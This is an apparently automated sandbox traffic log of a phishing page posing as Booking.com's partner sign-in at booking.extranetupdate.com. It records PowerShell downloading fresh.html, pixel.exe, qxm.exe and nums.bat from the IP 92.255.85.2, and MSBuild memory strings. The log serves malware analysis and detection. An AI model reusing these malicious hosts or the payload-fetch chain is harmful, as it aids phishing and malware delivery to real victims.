Source: global traffic	HTTP traffic detected: GET /static/css_H7dPp81WTvvS--0HVXMJ9Hozig2DMTF7X1aURkZvL00.css HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /munchkin.js HTTP/1.1Host: munchkin.marketo.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://booking.extranetupdate.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/custom/booking/fonts/icons/icons.woff?v=1.3.3 HTTP/1.1Host: booking.extranetupdate.comConnection: keep-aliveOrigin: https://booking.extranetupdate.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://booking.extranetupdate.com/static/css_3iFMQAIstg4teIom2wVaOik81XAQ5V-7tH-iz2mq5to.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /164/munchkin.js HTTP/1.1Host: munchkin.marketo.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://booking.extranetupdate.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/asset_332_350x180px.png.png HTTP/1.1Host: booking.extranetupdate.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt; _mkto_trk=id:261-NRZ-371&token:_mch-extranetupdate.com-86888ff1ffe7bc68e96dd2a3af8e1353
Source: global traffic	HTTP traffic detected: GET /themes/custom/booking/fonts/icons/icons.ttf?v=1.3.3 HTTP/1.1Host: booking.extranetupdate.comConnection: keep-aliveOrigin: https://booking.extranetupdate.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://booking.extranetupdate.com/static/css_3iFMQAIstg4teIom2wVaOik81XAQ5V-7tH-iz2mq5to.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt; _mkto_trk=id:261-NRZ-371&token:_mch-extranetupdate.com-86888ff1ffe7bc68e96dd2a3af8e1353
Source: global traffic	HTTP traffic detected: GET /themes/custom/booking/images/favicons/site.webmanifest HTTP/1.1Host: partner.booking.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://booking.extranetupdate.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: manifestReferer: https://booking.extranetupdate.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/custom/booking/images/favicons/favicon.svg HTTP/1.1Host: partner.booking.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://booking.extranetupdate.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /themes/custom/booking/images/favicons/favicon.ico HTTP/1.1Host: partner.booking.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://booking.extranetupdate.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SIE/?Q_ZID=ZN_3Eum1ldyL0aIh0i HTTP/1.1Host: zn3eum1ldyl0aih0i-partnersatbooking.siteintercept.qualtrics.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://booking.extranetupdate.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dxjsmodule/8.7128e66c4069227926d7.chunk.js?Q_CLIENTVERSION=2.27.0&Q_CLIENTTYPE=web&Q_BRANDID=booking.extranetupdate.com HTTP/1.1Host: siteintercept.qualtrics.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://booking.extranetupdate.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dxjsmodule/CoreModule.js?Q_CLIENTVERSION=2.27.0&Q_CLIENTTYPE=web&Q_BRANDID=partnersatbooking HTTP/1.1Host: siteintercept.qualtrics.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://booking.extranetupdate.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /WRSiteInterceptEngine/Targeting.php?Q_ZoneID=ZN_3Eum1ldyL0aIh0i&Q_CLIENTVERSION=2.27.0&Q_CLIENTTYPE=web HTTP/1.1Host: siteintercept.qualtrics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dxjsmodule/5.76657644fe1b73dc4306.chunk.js?Q_CLIENTVERSION=2.27.0&Q_CLIENTTYPE=web&Q_BRANDID=partnersatbooking HTTP/1.1Host: siteintercept.qualtrics.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://booking.extranetupdate.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dxjsmodule/1.63482081f3bf73c57075.chunk.js?Q_CLIENTVERSION=2.27.0&Q_CLIENTTYPE=web&Q_BRANDID=partnersatbooking HTTP/1.1Host: siteintercept.qualtrics.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://booking.extranetupdate.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api?c=1 HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt; _mkto_trk=id:261-NRZ-371&token:_mch-extranetupdate.com-86888ff1ffe7bc68e96dd2a3af8e1353
Source: global traffic	HTTP traffic detected: GET /api?c=1 HTTP/1.1Host: booking.extranetupdate.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt; _mkto_trk=id:261-NRZ-371&token:_mch-extranetupdate.com-86888ff1ffe7bc68e96dd2a3af8e1353
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /fresh.html HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 92.255.85.2Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /pixel.exe HTTP/1.1Host: 92.255.85.2
Source: global traffic	HTTP traffic detected: GET /qxm.exe HTTP/1.1Host: 92.255.85.2
Source: global traffic	HTTP traffic detected: GET /nums.bat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 92.255.85.2

Source: global traffic	DNS traffic detected: DNS query: c.pki.goog
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: myidverify.s3.us-east-1.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: extranetupdate.com
Source: global traffic	DNS traffic detected: DNS query: booking.extranetupdate.com
Source: global traffic	DNS traffic detected: DNS query: partner.booking.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: munchkin.marketo.net
Source: global traffic	DNS traffic detected: DNS query: 261-nrz-371.mktoresp.com
Source: global traffic	DNS traffic detected: DNS query: c2a9c95e369881c67228a6591cac2686.clo.footprintdns.com
Source: global traffic	DNS traffic detected: DNS query: zn3eum1ldyl0aih0i-partnersatbooking.siteintercept.qualtrics.com
Source: global traffic	DNS traffic detected: DNS query: siteintercept.qualtrics.com

Source: unknown

HTTP traffic detected: POST /report/v4?s=tYl1LVuf9smtbyjtsM47y58wl0UKxOeXDmqcQ09TvQFActh3HeTZj7ptewZv6gWOjP3ikWbUjdlU%2FfG7rpByGNCQl7cKX6VO9S0gthoGybWdMJB3uSJMx4DBpss6TiJNrPFGYY23B%2Bs%2Flyas9Q%3D%3D HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 752Content-Type: application/reports+jsonOrigin: https://booking.extranetupdate.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddenx-amz-request-id: J15K93SMHDRNKH7Bx-amz-id-2: Va/iLadn5sH1wS40f0MbiByV6zhTgSXQPxQaEAVZPhLEtQZVaZxVdzK9TOqtj7aKvNtofbP1rks=Content-Type: application/xmlTransfer-Encoding: chunkedDate: Thu, 17 Apr 2025 11:24:19 GMTServer: AmazonS3Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 17 Apr 2025 11:24:23 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCf-Ray: 931b8e46cd85bfa3-ATLServer: cloudflareCache-Control: max-age=14400Cf-Cache-Status: MISSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tYl1LVuf9smtbyjtsM47y58wl0UKxOeXDmqcQ09TvQFActh3HeTZj7ptewZv6gWOjP3ikWbUjdlU%2FfG7rpByGNCQl7cKX6VO9S0gthoGybWdMJB3uSJMx4DBpss6TiJNrPFGYY23B%2Bs%2Flyas9Q%3D%3D"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=105991&min_rtt=105933&rtt_var=22400&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1484&delivery_rate=38114&cwnd=252&unsent_bytes=0&cid=086a497ee919e99e&ts=740&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 17 Apr 2025 11:24:25 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCf-Ray: 931b8e4e0c18add2-ATLServer: cloudflareCache-Control: max-age=14400Cf-Cache-Status: MISSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LMnHZ%2Brmytl58JPSjsfgSSY3YtNr4sgprALyuk6fDwQYgA17UvsZkKNM7xGwShKlPYPwvlCjatLiyZh9gTrUIYtFhMQmfMGWR5DWHceQo2sngQqaWx1734bOk7C0JZuMwaJG%2F5VbKTt%2Bdh%2BP3Q%3D%3D"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=105899&min_rtt=105888&rtt_var=22354&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1485&delivery_rate=38120&cwnd=252&unsent_bytes=0&cid=8010c01608321391&ts=748&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 17 Apr 2025 11:24:25 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCf-Ray: 931b8e52395ac010-ATLServer: cloudflareCf-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1eJQxuxTkZ1u74Yqv4%2FzfgDLDtOHplll8qDqU2yob%2BU24WHWIaRBPFjKXF%2BYXHgPUzysen46hflJTPu43MUYf%2ByYvApJNzxjWt%2BoawvnZbOpU0vsorQ%2BRT4y6VPQ8M2UXVLXcs3nI8vHpni0%2Fw%3D%3D"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=105896&min_rtt=105877&rtt_var=22368&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1587&delivery_rate=38097&cwnd=252&unsent_bytes=0&cid=53c43684c573555d&ts=727&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 17 Apr 2025 11:24:27 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCf-Ray: 931b8e5b2a7db078-ATLServer: cloudflareCf-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PRkHhmvDSrGzlSJGVrhEnFhPsvrroMDh3gLLxosn%2Fg4mUmJHFW2fomNcLfL157VFdLYaujBynwfyPEergDUxX3ULDNLSPM7LWos9tmB7ZifiBYyUUWy94Hjdp4ZPjJYr4HadbrH%2BJKCw6INW3Q%3D%3D"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=105891&min_rtt=105861&rtt_var=22378&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1471&delivery_rate=38102&cwnd=252&unsent_bytes=0&cid=d1ed8fac84c12bba&ts=721&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 17 Apr 2025 11:24:27 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCf-Ray: 931b8e5d3b9378ce-ATLServer: cloudflareCache-Control: max-age=14400Cf-Cache-Status: MISSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M%2B8ahCJiRG28gWOQ9utoJ1PWbJ6seSXUnBllhDBIKn4Lne3hGFB1NqCnjBdtEYW3CsSwrrbDZv5IdR6MG8qOtHB5SHS5xMtQsguU7MJJk2%2BIhy0J3%2BjPuDxg5jAu17WMpXX8roKMx5h4b%2FwzRg%3D%3D"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=105773&min_rtt=105698&rtt_var=22411&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1505&delivery_rate=38115&cwnd=250&unsent_bytes=0&cid=7964ff00fa9d4e64&ts=721&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 17 Apr 2025 11:24:28 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCf-Ray: 931b8e64a913ed82-ATLServer: cloudflareCache-Control: max-age=14400Cf-Cache-Status: MISSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M0XHV8UXlxYxuIucinRp%2FnodE0EYN7Ct94%2FgoHoGMZ%2FPoebWcr5Ey7qNI5UMQAklbQ9qI72tbP%2FfijSPx5fVNmVXvnFGjBzq0aHqto3k57X7HfiT0EGpfE0wSUZpttlUy4iQ5Ndm5y14RHjevw%3D%3D"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=105704&min_rtt=105678&rtt_var=22336&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1481&delivery_rate=38171&cwnd=252&unsent_bytes=0&cid=e6ec64f00359530c&ts=821&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 17 Apr 2025 11:24:28 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCf-Ray: 931b8e64ac814569-ATLServer: cloudflareCache-Control: max-age=14400Cf-Cache-Status: MISSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3tgLOBBnFcvuNrWxtBBb3xOncBK4qDud7%2BlZ85QFkx99%2B3vCnO5eCCpzA49PXS2gbMORsa2drc5yVEO%2Fk7v%2FHhEWWrTlYcjzR%2BV06kEJmZYPnMCNzY5AFENMnc07XieZoKGoI0aJNy4xbgdlxw%3D%3D"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=105972&min_rtt=105967&rtt_var=22357&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1481&delivery_rate=38101&cwnd=252&unsent_bytes=0&cid=245fc03b67e35b92&ts=830&x=0"

Source: MSBuild.exe, 00000015.00000002.2154920630.0000000001310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: MSBuild.exe, 00000015.00000002.2159244718.0000000005590000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F8008506.21.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: MSBuild.exe, 00000015.00000002.2159244718.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?caa59c7bddee2
Source: MSBuild.exe, 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000015.00000002.2155302925.0000000003220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: chromecache_75.6.dr, chromecache_89.6.dr	String found in binary or memory: https://developers.marketo.com/MunchkinLicense.pdf
Source: chromecache_87.6.dr	String found in binary or memory: https://extranetupdate.com
Source: chromecache_93.6.dr	String found in binary or memory: https://s.qualtrics.com/spoke/all/jam
Source: chromecache_93.6.dr	String found in binary or memory: https://siteintercept.qualtrics.com
Source: chromecache_93.6.dr	String found in binary or memory: https://siteintercept.qualtrics.com/dxjsmodule/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
